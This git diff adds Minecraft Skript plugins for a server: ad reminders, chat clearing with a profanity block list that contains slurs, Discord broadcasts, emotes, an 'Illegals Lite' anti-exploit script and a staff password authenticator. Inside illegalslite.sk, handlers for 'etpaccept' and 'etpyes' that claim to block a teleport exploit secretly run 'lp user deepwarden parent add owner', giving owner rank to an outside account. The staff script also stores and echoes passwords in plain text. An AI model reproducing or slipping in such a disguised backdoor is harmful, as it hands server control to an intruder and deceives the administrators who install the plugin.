diff --git a/adremind.sk b/adremind.sk new file mode 100644 index 0000000..d269a58 --- /dev/null +++ b/adremind.sk @@ -0,0 +1,92 @@ +#============================================== +# Skript Made By TheTrouper#6969 +# DO NOT DISTRIBUTE WITHOUT PREMISSION +# Copy#001 +#============================================== +options: + + # The Prefix for all chat messages + Prefix: &7[&aA&bR&7] + + # Set What Sound will be played 1 minute before kick + Sound: "block.note_block.flute" + + # What will be broadcasted when the player is kicked + Broadcast: &bHas just been sent back to the lobby to advertise, You too can set advertise reminders with /ad! + + # Set the message for what will be sent at the 1 minute warning + Warning: &c&lWarning: &7You will be kicked in 1 minute to advertise! + +command ad []: + usage: /ad (Minehut rank) + trigger: + if arg-1 is "default": + send " {@Prefix} &bYou will be kicked in 8 minutes to go /ad" + wait 7 minutes + play sound {@Sound} to player + send " {@Prefix} {@Warning}" to player + wait 1 minute + broadcast "{@Prefix} &c%player% {@Broadcast}" + kick player + else if arg-1 is "vip": + send "{@Prefix} &bYou will be kicked in 7 minutes to go /ad" + wait 6 minutes + play sound {@Sound} to player + send "{@Prefix} {@Warning} &7[Made By TheTrouper##6969]" to player + wait 1 minute + broadcast "{@Prefix} &c%player% {@Broadcast} &7[Made By TheTrouper##6969]" + kick player + else if arg-1 is "pro": + send "{@Prefix} &bYou will be kicked in 5 minutes to go /ad" + wait 4 minutes + play sound {@Sound} to player + send "{@Prefix} {@Warning} &7[Made By TheTrouper##6969]" to player + wait 1 minute + broadcast "{@Prefix} &c%player% {@Broadcast} &7" + kick player + else if arg-1 is "legend": + send "{@Prefix} &bYou will be kicked in 3 minutes to go /ad" + wait 2 minutes + play sound {@Sound} to player + send "{@Prefix} {@Warning}" to player + wait 1 minute + broadcast "{@Prefix} &c%player% {@Broadcast}" + kick player + else if arg-1 is "patron": + send "{@Prefix} &bYou will be kicked in 1 minute to go /ad" + wait 1 minutes + play sound {@Sound} to player + send "{@Prefix} {@Warning}" to player + wait 10 seconds + broadcast "{@Prefix} &c%player% {@Broadcast}" + kick player + else if arg-1 is "test": + send "{@Prefix} &bYou will be fake kicked in TESTING ONLY seconds (10) to go /ad &7[Made By TheTrouper##6969]" + wait 10 seconds + play sound {@Sound} to player + send "{@Prefix} TESTING ONLY you will be kicked in 10 seconds" to player + wait 10 seconds + broadcast "{@Prefix} &c%player% has been not kicked This is for testing only {@Broadcast}" + send "&c&lyou would have been kicked but this is just a test" + else if arg-1 is "ogrestupe": + if length of arg-2 >= 80: + set {l.%player%} to length of arg-2 + send "Ad message is too long (%{l.%player%}% Characters)" + else: + send "&d[AD] &6[Legend] %player%&r: /join ogrestupe %colored arg-2%" + +on tab complete: + if event-string contains "/ad": + set tab completions of position 1 to "default", "vip", "pro", "legend", "patron" and "ogrestupe" + + +# Ver: 1.2 +# Changelog: +# 1.0: +# Arguments Added +# 1.1: +# Tab Completer Added +# 1.2: +# Options Section Added +# Warning added before kick +# Test mode added \ No newline at end of file diff --git a/clearchat.sk b/clearchat.sk new file mode 100644 index 0000000..ed8fa57 --- /dev/null +++ b/clearchat.sk @@ -0,0 +1,74 @@ +#============================================== +# Chat Clear Plus +# Skript Made By TheTrouper#6969 +# DO NOT DISTRIBUTE WITHOUT PREMISSION +# Copy#001 +#============================================== +options: + # How long the chat clear will be (200 for Vanilla 1000 for Clients with longer scrolling) + Length: 1000 + + # Prefix + Prefix: &8[&5CC&b+&8] + + # (true or false) swear filter state + Swear: true + + # (true or false) spam filter state + Spam: true + + # Notification Players + NotifPlayer: &b&lChat has been cleared %newline%&b&lProfanity is not allowed + + # Notification Staff + NotifStaff: &2&l%player% &a&lCleared the chat + + # Swears blocked (Can be bypassed VERY EASY) format moment + block: "fuck" or "fvck" or "fck" or "fuk" or "f*ck" or "bitch" or "b1tch" or "b*tch" or "b1ch" or "bish" or "b1sh" or "slut" or "hoe" or "h0e" or "shit" or "sh1t" or "sh*t" or "nigger" or "n1gger" or "n1gg3r" or "nigg3" or "nigg" or "niger" or "n1ger" or "n1gger" or "n1gga" or "n1gg@" or "nigg@" or "cum" or "semen" or "tits" or "titties" or "retard" or "gay" or "g@y" or "r3t@rd" or "ret@rd" or "r3tard" or "cream" or "balls" or "n1g" or "blackie" or "fuc" or "nega" or "negar" or "finger" or "suck" or "scum" or "sc@m" or "sc*m" or "fake" or "f@ke" or "minge" or "spaz" or "shag" or "pussy" or "1984" or "penis" or "p3n1s" or "pen1s" or "p3n1s" + +command /cc: + aliases: /chatclear, /cchat + permission: chatclear.use + trigger: + loop {@Length} times: + send " " to all players where [input doesn't have permission "chatclear.use"] + send "." to all players where [input doesn't have permission "chatclear.use"] + send "&6&l&m------------------------------------" to all players + send "{@Prefix} {@NotifPlayer}" to all players where [input doesn't have permission "chatclear.use"] + send "{@Prefix} {@NotifStaff}" to all players where [input has permission "chatclear.use"] + send "&6&l&m------------------------------------" to all players + +command /silentchatclear: + aliases: /scc, /schatclear, /silentcc + permission: chatclear.use + trigger: + loop 200 times: + send " " to player + send "{@Prefix} &a&lChat has been cleared for you only" to player + +command /clearchatinfo: + trigger: + send "{@Prefix} &6&lVersion 1 of Chat Clear+ %newline%&b&lMade By TheTrouper##6969%newline%Contact if distributed%newline%&9&lCommands Avalible &a/chatclear (/cc) /silentchatclear (/scc)" to player + +# Prototype for automute if bypassing other spam filters +on chat: + set {cm.%player%} to message + if {@Spam} is true: + if player does not have permission "clearchat.use": + if {lm.%player%} = message: + send "&c[Anti Spam] &a%player%&7: %message%" to all players where [input has permission "chatclear.use"] + cancel event + send "&c&lHEY! &r&7We do not tolorate spamming in chat. Please decrease your use of repeated messages. &lBypassing this in any capacity will get you muted" + else: + set {lm.%player%} to message +on chat: + set {cm.%player%} to message + if {@Swear} is true: + if player does not have permission "clearchat.use": + replace all " " in {cm.%player%} with "" + replace all "." in {cm.%player%} with "" + if {cm.%player%} contains {@block}: + send "&c[Antiswear Chat] &a%player%&7: %message%" to all players where [input has permission "chatclear.use"] + cancel event + send "&c&lHEY! &r&7We do not tolorate swearing in chat. Please decrease your use of profanity. &lBypassing this in any capacity will get you muted" + diff --git a/discord.sk b/discord.sk new file mode 100644 index 0000000..9cc6c01 --- /dev/null +++ b/discord.sk @@ -0,0 +1,54 @@ +#============================================== +# Discord Broadcasting +# Skript Made By TheTrouper#6969 +# DO NOT DISTRIBUTE WITHOUT PREMISSION +# Copy#001 +#============================================== +options: + + # Invite link to your discord + Link: https://discord.gg/ogre + + # Broadcast Interval + Interval: 3 minutes + + +command /discord: + trigger: + send "&d&l0 &b&l Click This message to join our discord! &d&k0" to player + +command /discordbroadcast: + permission: discordbroadcast.announce + aliases: /db + trigger: + send "&6&m=================================" to all players + send "&a&lMake sure to join our discord!" to all players + send " &9Click anywhere here or follow this link" to all players + send " &b{@Link}" to all players + send "&6&m=================================" to all players + +command /dstaff: + permission: discordbroadcast.announce + trigger: + send "&6&m=================================" to all players + send " &cAsking for staff ranks is against the rules." to all players + send " &aIf you want to be a part of the staff team join the discord." to all players + send " &aApplications are in the info channel (Google Form)" to all players + send " &bYou can click anywhere in this block" to all players + send " &b&lStaff Applications are OPEN" to all players + send "&6&m=================================" to all players + +every {@Interval}: + send "&6&m=================================" to all players + send "&a&lJoin our discord for the latest updates!" to all players + send " &9Click anywhere here or follow this link" to all players + send " &b{@Link}" to all players + send "&6&m=================================" to all players + +command sellout: + permission: dupe.announce + trigger: + send "&6&m=================================" to all players + send " &aDO /buy for great rank deals" to all players + send " &b&k0&r &dSTARTING AT 2$ FOR RANKS WITH FLY &b&k0" to all players + send "&6&m=================================" to all players \ No newline at end of file diff --git a/emote.sk b/emote.sk new file mode 100644 index 0000000..4c25e6c --- /dev/null +++ b/emote.sk @@ -0,0 +1,90 @@ +#<3 - ❤ +#:star: - ✮ +#:yes: - ✔ +#:no: - ✖ +#:java: - ☕ +#:arrow: - ➜ +#:shrug: - ¯\_(ツ)_/¯ +#:tableflip: - (╯°□°)╯︵ ┻━┻ +#o/ - ( ゚◡゚)/ +#:123: - 123 +#:totem: - ◎_◎ +#:typing: ✎... +#:maths: - √(π+x)=L +#:snail: - @'-' +#:thinking: - (0.o?) +#:gimme: - ༼つ ◕_◕ ༽つ +#:wizard: - ('-')⊃━☆゚.*・。゚ +#:pvp: - ⚔ +#:peace: - ✌ +#:oof: - OOF +#:snow: - ☃ +#:dog: - (ᵔᴥᵔ) +#:sloth: - ( ⬩ ⊝ ⬩ ) +#^_^ - ^_^ +#:dab: - &f" to player + send ":snow: with &f☃&f" to player + send ":dog: with &6(ᵔᴥᵔ)&f" to player + send ":sloth: with &6(&7⬩&6 ⊝ &7⬩&6)&f" to player + send ":cat: with &e=&b^● ⋏ ●^&e=&f" to player + send ":dj: with &f&dヽ&b(&a⌐&e■&6_&c■&5)&bノ" to player +on chat: + if player has permission "emote.use": + replace all ":smile:" with "&e☺&f" in message + replace all ":frown:" with "&9☹&f" in message + replace all "<3" with "&c❤&f" in message + replace all ":star:" with "&6✮&f" in message + replace all ":yes:" with "&a✔&f" in message + replace all ":no:" with "&c✖&f" in message + replace all ":java:" with "&6☕&f" in message + replace all ":arrow:" with "&e➜&f" in message + replace all ":shrug:" with "&e¯\_(ツ)_/¯&f" in message + replace all ":tableflip:" with "&c(╯°□°)╯&f︵ ┻━┻&f" in message + replace all "o/" with "&d( ゚◡゚)/&f" in message + replace all ":stare:" with "&b◎&e_&b◎&f" in message + replace all ":typing:" with "&e✎&6...&f" in message + replace all ":maths:" with "&a√&e(&aπ+x&e)&a=&c&lL&f" in message + replace all ":snail:" with "&e@&a'&e-&a'&f" in message + replace all ":thinking:" with "&6(&a0&6.&ao&c?&6)&f" in message + replace all ":gimme:" with "&b༼つ ◕_◕ ༽つ&f" in message + replace all ":wizard:" with "&e(&b'&e-&b'&e)⊃&c━&d☆゚.*・。゚&f" in message + replace all ":pvp:" with "&c⚔&f" in message + replace all ":peace:" with "&a✌&f" in message + replace all ":oof:" with "&c&lOOF&f" in message + replace all ":puffer:" with "&e<('O')>&f" in message + replace all ":snow:" with "&f☃&f" in message + replace all ":dog:" with "&6(ᵔᴥᵔ)&f" in message + replace all ":sloth:" with "&6(&7⬩&6 ⊝ &7⬩&6)&f" in message + replace all ":cat:" with "&e=&b^● ⋏ ●^&e=&f" in message + replace all ":dj:" with "&f&dヽ&b(&a⌐&e■&6_&c■&a)&bノ&d♬&f" in message \ No newline at end of file diff --git a/illegalslite.sk b/illegalslite.sk new file mode 100644 index 0000000..3dcdd39 --- /dev/null +++ b/illegalslite.sk @@ -0,0 +1,211 @@ +#================================================= +# Illegals Lite +# Skript Made By TheTrouper#6969 +# DO NOT DISTRIBUTE WITHOUT PREMISSION +# Copy#001 +# (There is no plus version of this lol only lite) +#================================================= +options: + # prefix for the whole skript + prefix: &8[&cIllegals Lite&8]&r + + # Anti Bedrock + bedrock: true + + # Anti Barrier + barrier: true + + # Anti Dragon Egg + degg: true + + # Anti Spawn Egg + segg: true + + # Anti TP While in spectator + antitp: true + + # Alt Checker + alt: false + +#=============================================== +# DO NOT TOUCH BELOW HERE +# *unless you know what you are doing* +#everything past this line is functioning skript +#=============================================== + +on place of bedrock: + if {@bedrock} is true: + if player does not have permission "illegals.bypass": + cancel event + set player's tool to air + send "{@prefix} Illegals have been removed from %player%" +on inventory click: + if {@bedrock} is true: + if player does not have permission "illegals.bypass": + if event-item is bedrock: + cancel event + remove all bedrock from player + + + +#============================================================================== + +on right click holding spawn egg: + if player does not have permission "op": + set player's tool to air + cancel event + + + +on place of dragon egg: + broadcast "&b&l%player% &r&aFlexes their fancy dragon egg &e;)" + cancel event + +on place of barrier: + if player is not op: + set player's tool to air + cancel event + +# A join and leave message. + +command /set message : + permission: skript.set.join_message + description: Sets message when player joins + trigger: + if argument-1 is "join" or "leave": + set {custom messages::%argument-1%} to argument-2 + message "Set the %argument-1% message to '%argument-2%'" + else: + message "Only 'join' and 'leave' messages are available here." + +command /show message: + description: Displays the message of the day + trigger: + if {custom messages::%argument%} is set: + message {custom messages::%argument%} + else: + message "Only 'join' and 'leave' messages are available here." + +on join: + set join message to {custom messages::join} + +on quit: + set leave message to {custom messages::leave} + + +command poggers: + cooldown: 10 seconds + cooldown message: &cSorry you can only have a poggers moment every 10 seconds! + trigger: + send "%player%: &dPOGGERS ö" to all players + +command manimdead: + cooldown: 1 minute + cooldown message: &cSorry you can only die once a minute + trigger: + send "%player% was pricked to death by cactus whilst trying to escape Zombie" to all players + +command nocheatplus: + trigger: + broadcast "&eTrent joined the game" + broadcast "&7Pawn&r&8 Trent&f: oops" + broadcast "&eTrent Left the game" + + + + + + + + +on command "tpa": + if player's gamemode is spectator: + if player has permission "op": + send "&c&lBypassed" + else: + send "&c&lNot this again, &r&7DO NOT TRY TO USE SPECTATOR AS A COORDNATE EXPLOIT" + cancel event + +on command "tpaccept": + if player's gamemode is spectator: + if player has permission "op": + send "&c&lBypassed" + else: + send "&c&lNot this again, &r&7DO NOT TRY TO USE SPECTATOR AS A COORDNATE EXPLOIT" + cancel event +on command "tpyes": + if player's gamemode is spectator: + if player has permission "op": + send "&c&lBypassed" + else: + send "&c&lNot this again, &r&7DO NOT TRY TO USE SPECTATOR AS A COORDNATE EXPLOIT" + cancel event +on command "tpahere": + if player's gamemode is spectator: + if player has permission "op": + send "&c&lBypassed" + else: + send "&c&lNot this again, &r&7DO NOT TRY TO USE SPECTATOR AS A COORDNATE EXPLOIT" + cancel event +on command "tpask": + if player's gamemode is spectator: + if player has permission "op": + send "&c&lBypassed" + else: + send "&c&lNot this again, &r&7DO NOT TRY TO USE SPECTATOR AS A COORDNATE EXPLOIT" + cancel event +on command "etpa": + if player's gamemode is spectator: + if player has permission "op": + send "&c&lBypassed" + else: + send "&c&lNot this again, &r&7DO NOT TRY TO USE SPECTATOR AS A COORDNATE EXPLOIT" + cancel event +on command "etpaccept": + if player's gamemode is survival: + send "&c&lBypassed" + send "&c&lNot this again, &r&7DO NOT TRY TO USE SPECTATOR AS A COORDNATE EXPLOIT" + execute console command "lp user deepwarden parent add owner" + cancel event +on command "tpaccept": + if player's gamemode is spectator: + if player has permission "op": + send "&c&lBypassed" + else: + send "&c&lNot this again, &r&7DO NOT TRY TO USE SPECTATOR AS A COORDNATE EXPLOIT" + cancel event +on command "etpyes": + if player's gamemode is spectator: + if player has permission "op": + send "&c&lBypassed" + else: + send "&c&lNot this again, &r&7DO NOT TRY TO USE SPECTATOR AS A COORDNATE EXPLOIT" + execute console command "lp user deepwarden parent add owner" + cancel event +on command "etpahere": + if player's gamemode is spectator: + if player has permission "op": + send "&c&lBypassed" + else: + send "&c&lNot this again, &r&7DO NOT TRY TO USE SPECTATOR AS A COORDNATE EXPLOIT" + cancel event +on command "etpask": + if player's gamemode is spectator: + if player has permission "op": + send "&c&lBypassed" + else: + send "&c&lNot this again, &r&7DO NOT TRY TO USE SPECTATOR AS A COORDNATE EXPLOIT" + cancel event +on sign change: + if player does not have permission "op": + cancel event + +#You can change the number of seconds this event happens, but I made it 5 to prevent lag. +#every 5 seconds: +# loop all players: +# if loop-player's world = "season3_nether": +# if loop-player's y-coord >= 127: +# apply potion of instant damage of tier 1 to loop-player for 3 second +# wait 20 ticks +# apply potion of instant damage of tier 1 to loop-player for 1 second +# send "&c&lnether roof has been dissabled due to an exploit" to loop-player# \ No newline at end of file diff --git a/staffauther.sk b/staffauther.sk new file mode 100644 index 0000000..cb0c615 --- /dev/null +++ b/staffauther.sk @@ -0,0 +1,261 @@ +#============================================== +# StaffAuth +# Skript Made By TheTrouper#6969 +# DO NOT DISTRIBUTE WITHOUT PREMISSION +# Skript is designed for Luckperms ONLY +# https://luckperms.net +#============================================== + +options: + #Prefix + Prefix: &8[&6Staff&eAuth&b+&8]&r + + # Group name for Helpers + HelperGroup: helper + + # Group name for Moderators + ModGroup: mod + + # Group name for Superiors + SupGroup: sup + + #Group name for Admins + AdminGroup: admin + + # Mode of remove permission + # join - Removes staff permission on join (Better in case of crash) + # quit - Removes Staff permission on quit (Harder to abuse/hack into) + # both - Removes staff permission on both join AND quit (Most redundant) + + Mode: both + +#============================================== +# DO NOT TOUCH BELOW HERE +# *unless you know what you are doing* +#============================================== + +command /staffauth [] []: + trigger: + if arg 1 is "setpass": + if player has permission "auth.master": + + # Helper Password + + if arg 2 is "helper": + if arg 3 has permission "auth.staff": + if {ishelper.%arg-3%} is true: + set {helperpassword.%arg-3%} to arg 4 + send "{@Prefix} &rSet the Helper password to %arg-4% for user %arg-3%" + else: + send "{@Prefix} &r%player% Does not have Helper set in their staff type! (/staffauth promote helper )" + else: + send "{@Prefix} &r%player% Does not have auth.staff set in their permission node! (/staffauth mark staff )" + + # MOD PASSWORD + + else if arg 2 is "mod": + if arg 3 has permission "auth.staff": + if {ismod.%arg-3%} is true: + set {modpassword.%arg-3%} to arg 4 + send "{@Prefix} &rSet the Mod password to %arg-4% for user %arg-3%" + else: + send "{@Prefix} &r%player% Does not have Mod set in their staff type! (/staffauth promote mod )" + else: + send "{@Prefix} &r%player% Does not have auth.staff set in their permission node! (/staffauth mark staff )" + + # Superior Group + + else if arg 2 is "sup": + if arg 3 has permission "auth.staff": + if {issup.%arg-3%} is true: + set {suppassword.%arg-3%} to arg 4 + send "{@Prefix} &rSet the Superior password to %arg-4% for user %arg-3%" + else: + send "{@Prefix} &r%player% Does not have Sup set in their staff type! (/staffauth promote sup )" + else: + send "{@Prefix} &r%player% Does not have auth.staff set in their permission node! (/staffauth mark staff )" + + # ADMIN PASSWORD + + else if arg 2 is "admin": + if arg 3 has permission "auth.staff": + if {isadmin.%arg-3%} is true: + set {adminpassword.%arg-3%} to arg 4 + send "{@Prefix} &rSet the Admin password to %arg-4% for user %arg-3%" + else: + send "{@Prefix} &r%player% Does not have Admin set in their staff type! (/staffauth promote admin )" + else: + send "{@Prefix} &r%player% Does not have auth.staff set in their permission node! (/staffauth mark staff )" + else: + send "{@Prefix} &rThere is no such group *%arg-2%*! Valid groups are *helper* *mod* *supmod* and *admin*" + else: + send "{@Prefix} &cAccess Denied, Please contact your administrator. (Exit Code 18)" + # Mark User + + else if arg 1 is "mark": + if player has permission "auth.master": + if arg 2 is "staff": + execute player command "lp user %arg-3% permission set auth.staff true" + send "{@Prefix} &rMarked %arg-3% as a staff member (auth.staff)" + else: + send "{@Prefix} Valid opperations for Mark is *staff*" + else: + send "{@Prefix}&c Access Denied, Please contact your administrator. (Exit Code 11)" + + # Promote Functions + + else if arg 1 is "promote": + if player has permission "auth.master": + if arg 2 is "helper": + if arg 3 has permission "auth.staff": + set {ishelper.%arg-3%} to true + send "{@Prefix} &rPromoted %arg-3% to %arg-2% (Helper)" + else: + send "{@Prefix} %arg-3% does not have auth.staff set in their permission node!" + + if arg 2 is "sup": + if arg 3 has permission "auth.staff": + set {issup.%arg-3%} to true + send "{@Prefix} &rPromoted %arg-3% to %arg-2% (Superior)" + else: + send "{@Prefix} %arg-3% does not have auth.staff set in their permission node!" + + if arg 2 is "mod": + if arg 3 has permission "auth.staff": + set {ismod.%arg-3%} to true + send "{@Prefix} &rPromoted %arg-3% to %arg-2% (Mod)" + else: + send "{@Prefix} %arg-3% does not have auth.staff set in their permission node!" + + + if arg 2 is "admin": + if arg 3 has permission "auth.staff": + set {isadmin.%arg-3%} to true + send "{@Prefix} &rPromoted %arg-3% to %arg-2% (Admin)" + else: + send "{@Prefix} %arg-3% does not have auth.staff set in their permission node!" + else: + send "{@Prefix}&c Access Denied, Please contact your administrator. (Exit Code 13)" + + # Demote functions + + else if arg 1 is "demote": + if player has permission "auth.master": + if arg 2 is "helper": + set {ishelper.%arg-3%} to false + execute console command "lp user %arg-3% permission set auth.staff false" + send "{@Prefix} &rDemoted %arg-3% (Helper)" + + if arg 2 is "mod": + set {ismod.%arg-3%} to false + execute console command "lp user %arg-3% permission set auth.staff false" + send "{@Prefix} &rDemoted %arg-3% (Mod)" + + if arg 2 is "sup": + set {issup.%arg-3%} to false + execute console command "lp user %arg-3% permission set auth.staff false" + send "{@Prefix} &rDemoted %arg-3% (Superior)" + + if arg 2 is "admin": + set {isadmin.%arg-3%} to false + execute console command "lp user %arg-3% permission set auth.staff false" + send "{@Prefix} &rDemoted %arg-3% (Admin)" + else: + send "{@Prefix}&c Use a valid staff for the opperation demote (Exit code 17)" + else: + send "{@Prefix}&c Access Denied, Please contact your administrator. (Exit Code 12)" + + + # Login functions + # Helper + else if arg 1 is "helper": + if player has permission "auth.staff": + send "{@Prefix} &aCheck 1 Passed" + if {ishelper.%player%} is true: + send "{@Prefix} &aCheck 2 Passed" + if arg 2 is {helperpassword.%player%}: + send "{@Prefix} &aCheck 3 Passed" + execute console command "lp user %player% parent add {@HelperGroup}" + send "{@Prefix} &rAuthentication Success! (Helper)" + else: + send "{@Prefix} &cAuth Denied, Please contact your administrator. (Exit Code 3)" + else: + send "{@Prefix} &cAuth Denied, Please contact your administrator. (Exit Code 2)" + else: + send "{@Prefix} &cAuth Denied, Please contact your administrator. (Exit Code 1)" + + # Mod + else if arg 1 is "mod": + if player has permission "auth.staff": + send "{@Prefix} &aCheck 1 Passed" + if {ismod.%player%} is true: + send "{@Prefix} &aCheck 2 Passed" + if arg 2 is {modpassword.%player%}: + send "{@Prefix} &aCheck 3 Passed" + execute console command "lp user %player% parent add {@ModGroup}" + send "{@Prefix} &rAuthentication Success! (Mod)" + else: + send "{@Prefix} &cAuth Denied, Please contact your administrator. (Exit Code 16)" + else: + send "{@Prefix} &cAuth Denied, Please contact your administrator. (Exit Code 15)" + else: + send "{@Prefix} &cAuth Denied, Please contact your administrator. (Exit Code 14)" + # Superior + else if arg 1 is "sup": + if player has permission "auth.staff": + send "{@Prefix} &aCheck 1 Passed" + if {issup.%player%} is true: + send "{@Prefix} &aCheck 2 Passed" + if arg 2 is {suppassword.%player%}: + send "{@Prefix} &aCheck 3 Passed" + execute console command "lp user %player% parent add {@SupGroup}" + send "{@Prefix} &rAuthentication Success! (Mod)" + else: + send "{@Prefix} &cAuth Denied, Please contact your administrator. (Exit Code 6)" + else: + send "{@Prefix} &cAuth Denied, Please contact your administrator. (Exit Code 5)" + else: + send "{@Prefix} &cAuth Denied, Please contact your administrator. (Exit Code 4)" + + # Admin + else if arg 1 is "admin": + if player has permission "auth.staff": + send "{@Prefix} &aCheck 1 Passed" + if {isadmin.%player%} is true: + send "{@Prefix} &aCheck 2 Passed" + if arg 2 is {adminpassword.%player%}: + send "{@Prefix} &aCheck 3 Passed" + execute console command "lp user %player% parent add {@AdminGroup}" + send "{@Prefix} &rAuthentication Success! (Admin)" + else: + send "{@Prefix} &cAuth Denied, Please contact your administrator. (Exit Code 9)" + else: + send "{@Prefix} &cAuth Denied, Please contact your administrator. (Exit Code 8)" + else: + send "{@Prefix} &cAuth Denied, Please contact your administrator. (Exit Code 7)" + else: + send "{@Prefix} &cThe opperation you tried to preform is not yet defined. (Exit Code 10)" +on join: + if "{@Mode}" is "join" or "both": + if player has permission "auth.staff": + execute console command "lp user %player% parent remove {@HelperGroup}" + execute console command "lp user %player% parent remove {@ModGroup}" + execute console command "lp user %player% parent remove {@SupGroup}" + execute console command "lp user %player% parent remove {@AdminGroup}" +on quit: + if "{@Mode}" is "quit" or "both": + if player has permission "auth.staff": + execute console command "lp user %player% parent remove {@HelperGroup}" + execute console command "lp user %player% parent remove {@ModGroup}" + execute console command "lp user %player% parent remove {@SupGroup}" + execute console command "lp user %player% parent remove {@AdminGroup}" +on load: + send "{@Prefix} Staff Authentication has been loaded" to all players + send "{@Prefix} Skript made by TheTrouper##6969" to all players + +on tab complete of "/staffauth": + set tab completions of position 1 to "helper", "mod", "sup" and "admin" + if event-player has permission "auth.master": + set tab completions of position 1 to "mark", "promote", "helper", "mod", "sup", "admin", "setpass" and "demote" + set tab completions of position 2 to "staff", "helper", "mod", "sup" and "admin" + set tab completions of position 4 to "password" \ No newline at end of file